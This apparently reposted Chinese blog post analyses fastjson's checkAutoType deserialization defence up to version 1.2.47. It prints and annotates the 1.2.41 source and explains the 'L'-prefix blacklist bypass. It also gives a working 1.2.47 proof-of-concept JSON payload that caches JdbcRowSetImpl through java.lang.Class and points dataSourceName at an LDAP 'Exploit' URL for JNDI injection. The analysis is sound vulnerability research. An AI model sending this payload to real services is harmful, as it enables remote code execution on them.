fastjson的漏洞修補及其繞過--至1.2.47


阿里的主要防護手段就是使用checkAutoType進行@type字段的檢查

看一下 1.2.41版本checkAutoType的代碼

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (typeName.length() >= 128) {//檢查長度
            throw new JSONException("autoType is not support. " + typeName);
        }

        final String className = typeName.replace('$', '.');//替換type中的$符
        Class<?> clazz = null;

        if (autoTypeSupport || expectClass != null) {//開啟autoTypeSupport時,白名單過濾,如果符合條件直接loadclass
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
            }

            for (int i = 0; i < denyList.length; ++i) {//開啟autoTypeSupport時,黑名單過濾
                String deny = denyList[i];
                if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if (clazz == null) {//嘗試獲取clazz
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        if (clazz == null) {//嘗試獲取clazz
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {//如果前兩種方式成功獲取,且expectclass非空,則比較其是否在expectclass中,如果不在則異常
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {//未開啟autoTypeSupport
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }
	//到這里如果還沒獲取class
        if (clazz == null) {//嘗試用默認類加載器去加載class
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        if (clazz != null) {//返回該元素的指定類型的注釋
            if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
                return clazz;
            }
//class1.isAssignableFrom(class2) 判定此 Class 對象所表示的類或接口與指定的 Class 參數所表示的類或接口是否相同,或是否是其超類或超接口。如果是則返回 true;否則返回 false。如果該 Class 表示一個基本類型,且指定的 Class 參數正是該 Class 對象,則該方法返回 true;否則返回 false。 
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger ,此處classloader為defaultclassloader=null
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);//生成JavaBean相關信息
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

從代碼中可以看出幾個檢測點和生成class對象的位置

首先是autoTypeSupport,白名單黑名單的檢查,隨后就是 TypeUtils.getClassFromMapping()和deserializers.findClass()方法去獲取class對象,如果還沒獲取class,就調用默認類加載器進行loadclass。

1.2.41的bypass中,主要是利用Lcom.xxx在loadclass時能夠轉換成com.xxx來實現黑名單的繞過與class的生成。

1.2.47中,為了bypass,使用poc如下

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}

調試可以發現java.lang.Class不在黑名單中,其class是由deserializers.findClass()方法生成的。注意到第一個序列化字符串還帶有變量com.sun.rowset.JdbcRowSetImpl。

這里再來看另一個方法TypeUtils.getClassFromMapping(),這個方法用於從緩存的MAPPING中獲取class對象。

在第一個序列化字符串完成解析時,com.sun.rowset.JdbcRowSetImpl已經作為變量存入緩存。再來看一下黑名單檢測代碼

 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);

這時在第二個序列化字符串解析時,TypeUtils.getClassFromMapping(typeName) == null條件已經不成立,因此可以繞過黑名單。然后便由TypeUtils.getClassFromMapping(typeName);方法生成class對象。

為什么會發生這樣的情況呢?在調試時發現,在完成第一個序列化字符串的反序列化時,過程中會返回com.sun.rowset.JdbcRowSetImpl字符串。而在deserialze方法中有如下代碼,當被反序列化的對象為class類時,就會加載val變量中的類

  if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

而在加載類的過程中,會驗證是否緩存,如果要緩存,則會調用mappings.put方法將className添加到Mappings中。

image

因此在對后續的com.sun.rowset.JdbcRowSetImpl進行反序列化時,才會在mappings.get()時返回true。至此繞過完成。

這次之后,修復的方法將cache的默認值改為了false


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM